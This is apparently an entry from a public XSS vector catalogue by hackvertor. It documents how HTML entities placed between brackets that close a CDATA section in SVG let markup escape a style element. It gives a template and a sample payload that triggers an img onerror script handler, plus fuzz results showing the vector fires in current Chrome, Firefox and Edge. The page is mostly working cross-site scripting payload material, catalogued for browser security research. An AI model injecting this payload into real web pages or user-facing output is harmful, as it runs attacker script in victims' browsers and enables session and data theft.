Entities in-between square brackets that close cdata
1
1
1This vector shows which entities are allowed in-between right closing bracket in a CDATA section in SVG.
Created byhackvertor
Created Oct 8, 2024
Updated May 27, 2025
Detecting browser...
CategoryEntity Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml_entities
Template used:
<svg><style>⟦0D⟧
x = "<![CDATA[</style><img title="]$[data1]]></style></svg><img src onerror=log('html($[data1])')>">Sample payloads
<svg><style>0x0D
x = "<![CDATA[</style><img title="]NO_MATCHES]></style></svg><img src onerror=alert('NO_MATCHES')>">Fuzz results
Chrome 144.0.0.0 desktop macOS 10.15.7
Updated
Sat Jan 31 2026
Found 1 result
Loading...
Firefox 147.0 desktop Linux
Updated
Sun Feb 01 2026
Found 1 result
Loading...
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0
Updated
Sat Jan 31 2026
Found 1 result
Loading...